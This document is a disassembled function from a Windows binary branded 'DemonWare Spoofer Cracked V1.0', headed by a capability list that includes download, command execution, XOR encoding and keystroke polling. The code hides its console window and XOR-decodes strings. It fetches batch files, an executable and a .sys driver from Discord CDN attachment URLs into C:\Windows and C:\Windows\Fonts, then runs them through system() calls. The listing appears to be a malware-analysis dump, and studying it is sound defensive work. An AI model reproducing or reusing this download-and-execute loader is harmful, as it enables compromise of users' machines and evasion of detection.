Function at 0x14001d450
Capabilities:
Check for time delay via queryperformancecounter
Download url
Encode data using xor
Execute command
Log keystrokes via polling
Receive data
Terminate process

Disassembly:
push rbp
push rdi
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x14002a010]
xor rax, rsp
mov qword [rbp + 0x78], rax
mov r15, rcx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movdqa xmm0, xmmword [0x140025640]
xor edi, edi
movdqa xmm1, xmmword [0x140025650]
mov ecx, edi
movdqu xmmword [rbp - 0x78], xmm0
mov dword [rbp - 0x58], 0x93e0fa9e
movdqu xmmword [rbp - 0x68], xmm1
mov dword [rbp - 0x54], 0xe4ffe2
mov byte [rbp - 0x50], 1
nop word [rax + rax]
lea eax, [rcx - 0x62]
xor byte [rbp + rcx - 0x78], al
inc rcx
cmp rcx, 0x27
jb 0x14001d4c0
lea rax, [0x14001c920]
mov byte [rbp - 0x50], dil
mov qword [rbp - 0x28], rax
mov edx, 0x7f00
lea rax, [rbp - 0x78]
mov qword [rbp - 0x30], 3
xor ecx, ecx
mov qword [rbp + 0x10], rax
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x10], rdi
mov qword [rbp + 8], rdi
mov qword [rbp - 0x18], r15
call qword [sym.imp.USER32.dll_LoadCursorA]
lea rcx, [rbp - 0x30]
mov qword [rbp], 0xc
mov qword [rbp - 8], rax
call qword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
jne 0x14001d531
mov eax, 1
jmp 0x14001e48b
mov qword [rsp + 0x1c8], rbx
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x38]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rbp + 0x40]
mov rcx, rdi
movdqa xmm0, xmmword [0x140025640]
cdq
movdqa xmm1, xmmword [0x140025650]
sub eax, edx
sar eax, 1
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x10], 0x93e0fa9e
movdqu xmmword [rbp - 0x20], xmm1
lea r8d, [rax - 0x96]
mov dword [rbp - 0xc], 0xe4ffe2
mov eax, 0x55555556
mov byte [rbp - 8], 1
imul dword [rbp + 0x44]
mov r9d, edx
shr r9d, 0x1f
add r9d, 0xffffffb5
add r9d, edx
lea eax, [rcx - 0x62]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x27
jb 0x14001d5a0
mov qword [rsp + 0x58], rdi
lea rdx, [rbp - 0x78]
mov qword [rsp + 0x50], r15
xor ecx, ecx
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], 0xe6
mov dword [rsp + 0x30], 0x118
mov dword [rsp + 0x28], r9d
mov r9d, 0x80000000
mov dword [rsp + 0x20], r8d
lea r8, [rbp - 0x30]
mov byte [rbp - 8], dil
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rbx, rax
test rax, rax
jne 0x14001d608
lea eax, [rbx + 2]
jmp 0x14001e483
mov ecx, 0x20
mov qword [rsp + 0x1d8], r14
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov r14, rax
test rax, rax
jne 0x14001d630
mov rdx, r15
lea rcx, [rbp - 0x78]
call qword [sym.imp.USER32.dll_UnregisterClassA]
lea rcx, [0x14002e5c8]
mov qword [0x14002e5d0], rdi
mov qword [rsp + 0x30], rcx
xor edx, edx
mov qword [0x14002e5dc], rdi
lea rcx, [0x14002e5d0]
mov qword [rsp + 0x28], rcx
mov r9, rbx
mov dword [0x14002e5e4], edi
mov rcx, r14
mov qword [0x14002e5ec], rdi
lea r8d, [rdx + 1]
mov dword [0x14002e5f4], edi
mov qword [0x14002e604], rdi
mov dword [0x14002e5f8], 1
mov dword [0x14002e5e8], 1
mov dword [0x14002e5d8], edi
mov dword [0x14002e5fc], 1
mov dword [0x14002e600], 0x50
mov dword [0x14002e60c], 1
mov rax, qword [r14]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
jns 0x14001d6e4
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x10]
mov rdx, r15
lea rcx, [rbp - 0x78]
call qword [sym.imp.USER32.dll_UnregisterClassA]
jmp 0x14001e479
mov rax, qword [0x14002e5c8]
lea rcx, [0x14002e5c0]
mov qword [0x14002e5a0], rax
mov qword [0x14002e5b0], rbx
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14001d7cd
lea rcx, [0x14002e5b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14001d7cd
mov rcx, qword [0x14002a048]
lea rax, [0x14001bac0]
mov qword [rcx + 0xc8], rax
mov rax, qword [0x14002e5b0]
mov qword [rcx + 0x100], rax
mov dword [rcx + 0x34], 9
mov dword [rcx + 0x38], 0x25
mov dword [rcx + 0x3c], 0x27
mov dword [rcx + 0x40], 0x26
mov dword [rcx + 0x44], 0x28
mov dword [rcx + 0x48], 0x21
mov dword [rcx + 0x4c], 0x22
mov dword [rcx + 0x50], 0x24
mov dword [rcx + 0x54], 0x23
mov dword [rcx + 0x58], 0x2e
mov dword [rcx + 0x5c], 8
mov dword [rcx + 0x60], 0xd
mov dword [rcx + 0x64], 0x1b
mov dword [rcx + 0x68], 0x41
mov dword [rcx + 0x6c], 0x43
mov dword [rcx + 0x70], 0x56
mov dword [rcx + 0x74], 0x58
mov dword [rcx + 0x78], 0x59
mov dword [rcx + 0x7c], 0x5a
jmp 0x14001d7d4
mov rcx, qword [0x14002a048]
mov qword [rsp + 0x1d0], rsi
movaps xmmword [rsp + 0x190], xmm6
movaps xmmword [rsp + 0x180], xmm7
mov dword [rcx + 0x1480], 0x3f6b851f
mov dword [rcx + 0x1484], 0x3f6b851f
mov dword [rcx + 0x1488], 0x3f6b851f
mov dword [rcx + 0x148c], 0x3f800000
mov dword [rcx + 0x1490], 0x3ee147ae
mov dword [rcx + 0x1494], 0x3ee147ae
mov dword [rcx + 0x1498], 0x3ee147ae
mov dword [rcx + 0x149c], 0x3f800000
mov dword [rcx + 0x14a0], 0x3d75c28f
mov dword [rcx + 0x14a4], 0x3d75c28f
mov dword [rcx + 0x14a8], 0x3d75c28f
mov dword [rcx + 0x14ac], 0x3f800000
mov dword [rcx + 0x14c0], 0x3da3d70a
mov dword [rcx + 0x14c4], 0x3da3d70a
mov dword [rcx + 0x14c8], 0x3da3d70a
mov dword [rcx + 0x14cc], 0x3f70a3d7
mov dword [rcx + 0x14d0], 0x3f028f5c
mov dword [rcx + 0x14d4], 0x3eb851ec
mov dword [rcx + 0x14d8], 0x3e19999a
mov qword [rcx + 0x14dc], 0x3f800000
mov qword [rcx + 0x14e4], rdi
mov dword [rcx + 0x14ec], edi
mov dword [rcx + 0x14f0], 0x3de147ae
mov dword [rcx + 0x14f4], 0x3de147ae
mov dword [rcx + 0x14f8], 0x3de147ae
mov dword [rcx + 0x14fc], 0x3f800000
mov dword [rcx + 0x1500], 0x3f028f5c
mov dword [rcx + 0x1504], 0x3eb851ec
mov dword [rcx + 0x1508], 0x3e19999a
mov dword [rcx + 0x150c], 0x3f800000
mov dword [rcx + 0x1510], 0x3f47ae14
mov dword [rcx + 0x1514], 0x3f0ccccd
mov dword [rcx + 0x1518], 0x3e570a3d
mov dword [rcx + 0x151c], 0x3f800000
mov dword [rcx + 0x1520], 0x3f028f5c
mov dword [rcx + 0x1524], 0x3eb851ec
mov dword [rcx + 0x1528], 0x3e19999a
mov qword [rcx + 0x152c], 0x3f800000
mov dword [rcx + 0x1540], 0x3f68f5c3
mov dword [rcx + 0x1544], 0x3f23d70a
mov dword [rcx + 0x1548], 0x3e051eb8
mov dword [rcx + 0x154c], 0x3f800000
mov qword [rcx + 0x1534], rdi
mov dword [rcx + 0x153c], 0x3f028f5c
mov dword [rcx + 0x1550], 0x3de147ae
mov dword [rcx + 0x1554], 0x3de147ae
mov dword [rcx + 0x1558], 0x3de147ae
mov dword [rcx + 0x155c], 0x3f800000
mov dword [rcx + 0x1560], 0x3d75c28f
mov dword [rcx + 0x1564], 0x3d75c28f
mov dword [rcx + 0x1568], 0x3d75c28f
mov dword [rcx + 0x156c], 0x3f07ae14
mov dword [rcx + 0x1570], 0x3e570a3d
mov dword [rcx + 0x1574], 0x3e570a3d
mov dword [rcx + 0x1578], 0x3e570a3d
mov dword [rcx + 0x157c], 0x3f800000
mov dword [rcx + 0x1580], 0x3ef0a3d7
mov dword [rcx + 0x1584], 0x3ef0a3d7
mov dword [rcx + 0x1588], 0x3ef0a3d7
mov dword [rcx + 0x158c], 0x3f800000
mov dword [rcx + 0x1590], 0x3f4f5c29
mov dword [rcx + 0x1594], 0x3f547ae1
mov dword [rcx + 0x1598], 0x3f4f5c29
mov dword [rcx + 0x159c], 0x3f800000
mov dword [rcx + 0x15b0], 0x3f47ae14
mov dword [rcx + 0x15b4], 0x3f0ccccd
mov dword [rcx + 0x15b8], 0x3e570a3d
mov dword [rcx + 0x15bc], 0x3f800000
mov dword [rcx + 0x15c0], 0x3f68f5c3
mov dword [rcx + 0x15c4], 0x3f23d70a
mov dword [rcx + 0x15c8], 0x3e051eb8
mov dword [rcx + 0x15cc], 0x3f800000
mov dword [rcx + 0x15d0], 0x3f68f5c3
mov dword [rcx + 0x15d4], 0x3f23d70a
mov dword [rcx + 0x15d8], 0x3e051eb8
mov dword [rcx + 0x15dc], 0x3f800000
mov dword [rcx + 0x15e0], 0x3f028f5c
mov dword [rcx + 0x15e4], 0x3eb851ec
mov dword [rcx + 0x15e8], 0x3e19999a
xorps xmm0, xmm0
mov dword [rcx + 0x15ec], 0x3f800000
mov edx, 0xa
mov dword [rcx + 0x15f0], 0x3f68f5c3
mov dword [rcx + 0x15f4], 0x3f23d70a
mov dword [rcx + 0x15f8], 0x3e051eb8
mov dword [rcx + 0x15fc], 0x3f800000
mov dword [rcx + 0x1600], 0x3f47ae14
mov dword [rcx + 0x1604], 0x3f0ccccd
mov dword [rcx + 0x1608], 0x3e570a3d
mov dword [rcx + 0x160c], 0x3f800000
mov dword [rcx + 0x1610], 0x3f028f5c
mov dword [rcx + 0x1614], 0x3eb851ec
mov dword [rcx + 0x1618], 0x3e19999a
mov dword [rcx + 0x161c], 0x3f800000
mov dword [rcx + 0x1620], 0x3f68f5c3
mov dword [rcx + 0x1624], 0x3f23d70a
mov dword [rcx + 0x1628], 0x3e051eb8
mov dword [rcx + 0x162c], 0x3f800000
mov dword [rcx + 0x1630], 0x3f6e147b
mov dword [rcx + 0x1634], 0x3f266666
mov dword [rcx + 0x1638], 0x3e0f5c29
mov dword [rcx + 0x163c], 0x3f800000
mov dword [rcx + 0x1670], 0x3e570a3d
mov dword [rcx + 0x1674], 0x3e570a3d
mov dword [rcx + 0x1678], 0x3e570a3d
mov dword [rcx + 0x167c], 0x3f800000
mov dword [rcx + 0x1680], 0x3f68f5c3
mov dword [rcx + 0x1684], 0x3f23d70a
mov dword [rcx + 0x1688], 0x3e051eb8
mov dword [rcx + 0x168c], 0x3f800000
mov dword [rcx + 0x1690], 0x3f47ae14
mov dword [rcx + 0x1694], 0x3f0ccccd
mov dword [rcx + 0x1698], 0x3e570a3d
mov dword [rcx + 0x169c], 0x3f800000
mov dword [rcx + 0x16e0], 0x3f800000
mov dword [rcx + 0x16e4], 0x3edc28f6
mov dword [rcx + 0x16e8], 0x3eb33333
mov dword [rcx + 0x16ec], 0x3f800000
mov dword [rcx + 0x16f0], 0x3f666666
mov qword [rcx + 0x16f4], 0x3f333333
mov dword [rcx + 0x16fc], 0x3f800000
mov dword [rcx + 0x1700], 0x3f800000
mov qword [rcx + 0x1704], 0x3f19999a
mov dword [rcx + 0x170c], 0x3f800000
mov dword [rcx + 0x1710], 0x3e851eb8
mov dword [rcx + 0x1714], 0x3f170a3d
mov dword [rcx + 0x1718], 0x3f7ae148
mov dword [rcx + 0x171c], 0x3eb33333
mov dword [rcx + 0x1424], 0x40800000
mov dword [rcx + 0x1428], 0x40000000
mov dword [rcx + 0x1430], 0x41200000
mov dword [rcx + 0x1434], 0x40000000
mov dword [rcx + 0x1448], 0x41400000
mov dword [rcx + 0x1450], 0x41200000
mov dword [rcx + 0x1414], 0x40800000
mov dword [rcx + 0x142c], 0x40800000
mov dword [rcx + 0x1454], 0x40c00000
mov dword [rcx + 0x145c], 0x40800000
mov dword [rcx + 0x1418], 0x3f800000
mov dword [rcx + 0x141c], 0x3f000000
mov dword [rcx + 0x1470], 0x40800000
mov dword [rcx + 0x1474], 0x40800000
mov rcx, rbx
movups xmmword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm0
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rbx
call qword [sym.imp.USER32.dll_UpdateWindow]
cmp dword [rbp + 0x50], 0x12
je 0x14001e3e1
movss xmm7, dword [0x140025474]
movss xmm6, dword [0x140025470]
nop
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x48]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14001ddd7
lea rcx, [rbp + 0x48]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x48]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x14001e3d7
cmp qword [0x14002e590], rdi
jne 0x14001ddee
cmp qword [0x14002e5a0], rdi
je 0x14001ddee
call fcn.14001c520
mov rcx, qword [0x14002e5b0]
lea rdx, [rbp + 0x20]
mov rbx, qword [0x14002a048]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp + 0x28]
lea rcx, [rbp + 0x30]
sub eax, dword [rbp + 0x20]
movd xmm1, eax
mov eax, dword [rbp + 0x2c]
sub eax, dword [rbp + 0x24]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 8], xmm1
movss dword [rbx + 0xc], xmm0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rbp + 0x30]
xorps xmm1, xmm1
sub rax, qword [0x14002e5b8]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x14002e5c0]
mov ecx, 0x11
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rbx + 0x10], xmm1
mov rax, qword [rbp + 0x30]
mov qword [0x14002e5b8], rax
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x10
and al, 1
mov byte [rbx + 0x11d], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x12
and al, 1
mov byte [rbx + 0x11e], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x120], dil
mov byte [rbx + 0x11f], al
cmp byte [rbx + 0x11c], dil
je 0x14001dec1
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetCursor]
call fcn.140003ac0
cmp byte [0x14002a108], dil
je 0x14001e4a3
movdqa xmm0, xmmword [0x140025620]
mov rcx, rdi
movdqa xmm1, xmmword [0x140025630]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x48], 0x438c0000
movdqa xmm0, xmmword [0x140025590]
movdqu xmmword [rbp - 0x10], xmm0
mov dword [rbp - 0x44], 0x43660000
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp], 1
nop
lea eax, [rcx - 0x62]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x2f
jb 0x14001df10
movaps xmm3, xmm7
mov byte [rbp], dil
lea r8, [rbp - 0x48]
mov dword [rsp + 0x20], 0x13e
lea rdx, [0x14002a108]
lea rcx, [rbp - 0x30]
call fcn.140007910
mov rcx, qword [0x14002a048]
mov rax, qword [rcx + 0x1778]
mov byte [rax + 0x8a], 1
mov rsi, qword [rcx + 0x1778]
lea rbx, [rsi + 0x140]
mov dword [rsi + 0x134], 0xbf800000
mov r8d, dword [rbx]
mov ecx, dword [rbx + 4]
cmp r8d, ecx
jne 0x14001dfa4
inc r8d
test ecx, ecx
je 0x14001df8d
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
jmp 0x14001df92
mov eax, 8
cmp eax, r8d
mov rcx, rbx
cmovg r8d, eax
mov edx, r8d
call fcn.14000d770
movsxd rdx, dword [rbx]
mov rcx, qword [rbx + 8]
mov eax, dword [rsi + 0x134]
mov dword [rcx + rdx*4], eax
mov ecx, 0x73
inc dword [rbx]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x14001e01c
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Windowsmac.bat
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1147334097723736096_1167823123832373291_MAC.bat
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Windowsclean.bat
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1147334097723736096_1167822568359731210_History_Cleaner_1.bat
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.C:Windowsclean.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:Windowsmac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [0x14002a048]
mov dword [rbp - 0x3c], edi
mov rcx, qword [rax + 0x1778]
movss xmm0, dword [rcx + 0x24]
mov rcx, rdi
mulss xmm0, xmm6
mov dword [rsp + 0x60], 0xcecfefcd
mov word [rsp + 0x64], 0xc4
mov byte [rsp + 0x66], 1
movss dword [rbp - 0x40], xmm0
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x62]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 5
jb 0x14001e060
lea rdx, [rbp - 0x40]
mov byte [rsp + 0x66], dil
lea rcx, [rsp + 0x60]
call fcn.14000beb0
test al, al
je 0x14001e146
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:WindowsFontsDriver.sys
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1147334097723736096_1167802971371868240_Tourny.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:WindowsFontscommand.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1147334097723736096_1167802971661291520_Trouny.sys
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Windows_net.bat
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1147334097723736096_1167820334599262208_net.bat
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.cd_C:WindowsFonts
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsFontscommand.exe_C:WindowsFontsDriver.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:Windows
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_net.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r9d, 0x40
lea r8, [0x1400215a6]
lea rdx, str.Spoofer___
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x68], 0xc0c5f3dd
mov rcx, rdi
mov dword [rsp + 0x6c], 0xd6c6cc
mov byte [rsp + 0x70], 1
nop
lea eax, [rcx - 0x62]
xor byte [rsp + rcx + 0x68], al
inc rcx
cmp rcx, 7
jb 0x14001e160
mov rax, qword [0x14002a048]
lea rdx, [rbp - 0x38]
mov byte [rsp + 0x70], dil
mov dword [rbp - 0x34], edi
mov rcx, qword [rax + 0x1778]
movss xmm0, dword [rcx + 0x24]
lea rcx, [rsp + 0x68]
mulss xmm0, xmm6
movss dword [rbp - 0x38], xmm0
call fcn.14000beb0
test al, al
je 0x14001e249
mov r9d, 0x40
lea r8, str.Warning
lea rdx, str.The_Cleaner_process_may_take_a_long_time_please_wait
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Windowsmac.bat
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1147334097723736096_1167823123832373291_MAC.bat
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Windowsclean.bat
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1147334097723736096_1167822568359731210_History_Cleaner_1.bat
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.C:Windowsclean.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:Windowsmac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r9d, 0x40
lea r8, [0x1400215a6]
lea rdx, str.Cleaner___
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [0x1400253a8]
call fcn.14000b1f0
movaps xmm0, xmmword [0x1400255e0]
lea rdx, str.DemonWare_Spoofer
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.14000b270
lea rcx, [0x1400253a8]
call fcn.14000b1f0
movaps xmm0, xmmword [0x1400255e0]
lea rdx, str.Cracked___V1.0
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.14000b270
lea rcx, str._______________________________________
call fcn.14000b1f0
movaps xmm0, xmmword [0x1400255c0]
lea rdx, str.__________________Status:
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.14000b270
mov rdx, qword [0x14002a048]
mov rax, qword [rdx + 0x1778]
mov byte [rax + 0x8a], 1
mov rcx, qword [rdx + 0x1778]
cmp byte [rcx + 0x8c], dil
jne 0x14001e329
movss xmm1, dword [rdx + 0x1430]
movss xmm0, dword [rcx + 0xcc]
addss xmm1, dword [rcx + 0xc8]
movss dword [rcx + 0xc0], xmm1
movss dword [rcx + 0xc4], xmm0
mov eax, dword [rcx + 0xe8]
mov dword [rcx + 0xe0], eax
mov eax, dword [rcx + 0xec]
mov dword [rcx + 0xe4], eax
movaps xmm0, xmmword [0x1400255d0]
lea rdx, str.Undetected
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
call fcn.14000b270
call fcn.14000a5c0
mov rcx, qword [0x14002e5c8]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 7]
call qword [rax + 0x1c8]
mov rcx, qword [0x14002e5c8]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 0x1b]
call qword [rax + 0x1c8]
mov rcx, qword [0x14002e5c8]
xor r8d, r8d
mov edx, 0xae
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x14002e5c8]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14001e3ba
call fcn.140005bc0
mov rcx, qword [0x14002e5c8]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x14002e5c8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp dword [rbp + 0x50], 0x12
jne 0x14001dda0
call fcn.14001c6d0
call fcn.140004a70
mov rcx, qword [0x14002e5c8]
mov qword [0x14002e5a0], rdi
mov qword [0x14002e5b0], rdi
test rcx, rcx
je 0x14001e40b
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x10]
movdqa xmm0, xmmword [0x140025640]
movdqa xmm1, xmmword [0x140025650]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x10], 0x93e0fa9e
movdqu xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0xc], 0xe4ffe2
mov byte [rbp - 8], 1
lea eax, [rdi - 0x62]
xor byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 0x27
jb 0x14001e440
mov rdx, r15
mov byte [rbp - 8], 0
lea rcx, [rbp - 0x30]
call qword [sym.imp.USER32.dll_UnregisterClassA]
movaps xmm6, xmmword [rsp + 0x190]
mov rsi, qword [rsp + 0x1d0]
movaps xmm7, xmmword [rsp + 0x180]
mov r14, qword [rsp + 0x1d8]
xor eax, eax
mov rbx, qword [rsp + 0x1c8]
mov rcx, qword [rbp + 0x78]
xor rcx, rsp
call fcn.14001e950
add rsp, 0x1a0
pop r15
pop rdi
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]